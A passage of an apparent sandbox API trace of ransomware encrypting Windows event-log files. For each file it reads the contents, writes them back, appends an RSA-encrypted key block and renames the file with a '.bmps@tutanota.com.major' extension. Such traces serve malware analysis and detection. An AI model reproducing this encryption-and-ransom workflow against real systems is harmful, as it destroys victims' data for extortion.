lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.041] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0123.041] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0123.042] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0123.042] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5d3810 [0123.042] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5d3810, pcchString=0x2e3f9a8 | out: pszString="NVTaUPa3BZNNKISemUK8rYTyiXtcBn7ZYnPQ9rU/VcUF+XliYJACNKX4SW9hLQy7\nbt3ehWYyQzot4ClKkbVPmlvlcTOS4KCudRNApGGZcm6lnOY+AWCKe+J1aW9624NH\nUWsRMy3Xk4F2JpNZ+Qxzi2tw8WV4+mgZYGSNYXavy+t3ztRVlynhQyvtpi1BuYj1\nC4TJeDU4IjYDjW6a7LZ8h7ziAG15W3edeYBtvFSOEI8/APNUV8RQE8+CgVQGUpkh\nZU7cVTB4ykKlxxBJq+rpSyQyQ09YRU2K+1CYRKqOm5Tx2nipAxykXtf/dlZjwPWQ\noNRSvuT9/83E4RLZx5wStg==\n", pcchString=0x2e3f9a8) returned 1 [0123.042] WriteFile (in: hFile=0x460, lpBuffer=0x5d3810*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0123.042] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.042] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.042] CloseHandle (hObject=0x460) returned 1 [0123.044] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0123.044] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0123.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0123.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0123.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d03e8 | out: hHeap=0x570000) returned 1 [0123.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0910 | out: hHeap=0x570000) returned 1 [0123.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0123.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0123.046] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0123.046] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", dwFileAttributes=0x80) returned 1 [0123.059] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d22d8 [0123.059] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b1550 [0123.059] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d22d8 | out: hHeap=0x570000) returned 1 [0123.059] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0123.059] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0123.059] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0123.059] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0123.060] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.095] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.096] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.096] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0123.096] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0123.097] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0123.097] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.097] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.097] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0123.097] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0123.099] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0123.099] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5d3810 [0123.099] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5d3810, pcchString=0x2e3f9a8 | out: pszString="81l3C8CgdkQHVQugtvjK2uUUlHqshXzOj8PNdi8FgFnBDlAE8qtLn9HWCXfQ0y3Z\nMZKybOHiV5HKJFoxxCfp8XGfGxZf9E+PcIRPWdUVR35RrZmIpcxDsYiTHjNT1Pex\nMbzsnbR1MseAgjx72c0Ve5RQhU0hhsm5UcyUWOliDynTcrdQI8L9ClkHLRgxpDaO\n6WrToRtMX5/mKXCt9KFl0b73NCiW8HnaDG9g9+lX4B9ojMAORhxwMbZZzqRiTsTQ\nAAK4aLwNUD8c9ph2GMhnvUD46SUmNZ4KT/d4loMU5uDMsmt8JoKnknoDWrR4qY4d\ndF5Ca9hZRS8+swTzBrA9rQ==\n", pcchString=0x2e3f9a8) returned 1 [0123.099] WriteFile (in: hFile=0x460, lpBuffer=0x5d3810*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0123.099] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.099] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.099] CloseHandle (hObject=0x460) returned 1 [0123.100] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0123.100] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0123.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b1550 | out: hHeap=0x570000) returned 1 [0123.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0123.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0123.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0123.103] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2e40f20 [0123.103] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0123.103] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0123.104] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", dwFileAttributes=0x80) returned 1 [0123.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5b60f8 [0123.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x5b61a0 [0123.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b60f8 | out: hHeap=0x570000) returned 1 [0123.104] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0123.104] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1052672) returned 1 [0123.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x101000) returned 0x3149020 [0123.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x101000) returned 0x3252020 [0123.105] ReadFile (in: hFile=0x460, lpBuffer=0x3149020, nNumberOfBytesToRead=0x101000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3149020*, lpNumberOfBytesRead=0x2e3f9b4*=0x101000, lpOverlapped=0x0) returned 1 [0123.162] SetFilePointer (in: hFile=0x460, lDistanceToMove=-1052672, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.162] WriteFile (in: hFile=0x460, lpBuffer=0x3252020*, nNumberOfBytesToWrite=0x101000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3252020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x101000, lpOverlapped=0x0) returned 1 [0123.167] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3149020 | out: hHeap=0x570000) returned 1 [0123.168] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3252020 | out: hHeap=0x570000) returned 1 [0123.168] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x101000 [0123.168] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.168] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.168] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0123.168] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0123.169] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0123.169] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5d3810 [0123.169] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5d3810, pcchString=0x2e3f9a8 | out: pszString="V0gyQCxPCzv8tO2gnp2yR8Qms++G5ut9vT67kmH80Vw6DoHD71KPELqGTc6M7iwm\ngcD7IbbJ8tqRShjavIfkeUNXaOFcu2QIOInKRJGuZSwD6SHR/coIDOQmsFIqQWWn\nR9hGlot3erJciSWh0SNQBjKoyWHubD5qULMYcmf4yPD9c4m9z103PASMg8NfJgxJ\n6LLVxVgWaQF2Iw7p4DuFv01pe65qkpmEY6Uwf5UNq5q3t2RTrejPt80g8WX+cbX6\nIc1P7n9hK7uenjRE9wZWHyx3gfqmFi8yAumL4JPpTkxl/PoEjMOQXgzAsklrRoRY\n+fFJ8jTRidaz6FGp4RQQlg==\n", pcchString=0x2e3f9a8) returned 1 [0123.169] WriteFile (in: hFile=0x460, lpBuffer=0x5d3810*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0123.169] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.169] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.169] CloseHandle (hObject=0x460) returned 1 [0123.183] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0123.183] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0123.185] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b61a0 | out: hHeap=0x570000) returned 1 [0123.185] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0123.185] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0123.185] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6050 | out: hHeap=0x570000) returned 1 [0123.185] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0123.185] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0123.186] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0123.186] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", dwFileAttributes=0x80) returned 1 [0123.186] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5b6050 [0123.186] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x5b6118 [0123.186] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6050 | out: hHeap=0x570000) returned 1 [0123.186] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0123.186] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0123.186] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0123.186] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0123.187] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.199] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.199] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.200] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0123.201] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0123.203] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0123.203] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.203] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.204] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0123.204] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0123.205] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0123.205] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5d3810 [0123.205] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5d3810, pcchString=0x2e3f9a8 | out: pszString="VL96XSaRzDe+OPQZAH33dgNZ0z4A68KWqGtne6+ByKigjQAtTOESXLdTs4fvPvvb\nde649b/Bc7gGkYbLfRf6I9hL3E8mqTbISncsgD9SP5duu9kuvr1im1ic25dqPxsQ\nE1/vdF9oDdRPbLb1FTty3uwabSm8yWviPeZeh29L7eTAk0eDPAbrW2cJ9JX+BcpD\nRzPxZJjNnQZv1wkaPbuSCiKhz0SEEI2zcUKNIAX6GOtFBj+plDayv4wrQ2A9CiaC\nR05rpstL8ieQE9I6y3v0n6bTX0WXrpMnZoJMaZ05X8LBxKidWfSJWtCEJ6umGPXP\nFPpHqPGb7eLt8WsMgofkiQ==\n", pcchString=0x2e3f9a8) returned 1 [0123.205] WriteFile (in: hFile=0x460, lpBuffer=0x5d3810*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0123.205] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.205] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.205] CloseHandle (hObject=0x460) returned 1 [0123.207] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0123.207] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0123.211] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6118 | out: hHeap=0x570000) returned 1 [0123.211] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0123.211] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0123.211] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5f88 | out: hHeap=0x570000) returned 1 [0123.211] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5d0118 [0123.211] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0123.211] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0123.211] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx", dwFileAttributes=0x80) returned 1 [0123.212] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5d0550 [0123.212] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0123.212] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0550 | out: hHeap=0x570000) returned 1 [0123.212] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0123.212] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0123.212] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0123.212] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0123.212] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.231] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.231] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.231] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0123.232] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0123.234] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0123.234] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.234] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.234] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0123.234] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0123.235] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0123.235] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5f88 [0123.236] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5f88, pcchString=0x2e3f9a8 | out: pszString="npwMTvzfDGnctc8M6MNQjQSaEYi6w4zq49PQEUKH6TTmfqm1US3p58kmgWnDDpdl\ncLUE/fTxVJ+AoWk6XawoAj/qN4Qpk9rJQJ2S8T6oBUkJr8TK1COVvNaYbZldfisi\nzm7i2zUa3P6pLqk81uooEtGc5v1JyetRH+seGd+T7Ykuc1vCGUomDtxWBTOjm75x\nLkAz/mcXiS67hfwQC8Fv6z5EVJiNGTBJqy3MvmfT2etCTq7SOC6p6Wc2axCe58tU\nngRFLj19NzP+K/bJerhSv/xRhvuFgZqZxf4HFS01CcTHfqayuB9VQMU7zLXFCuMk\nxzrQfrCSX3sSHJUoDyBGWg==\n", pcchString=0x2e3f9a8) returned 1 [0123.236] WriteFile (in: hFile=0x460, lpBuffer=0x5b5f88*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: 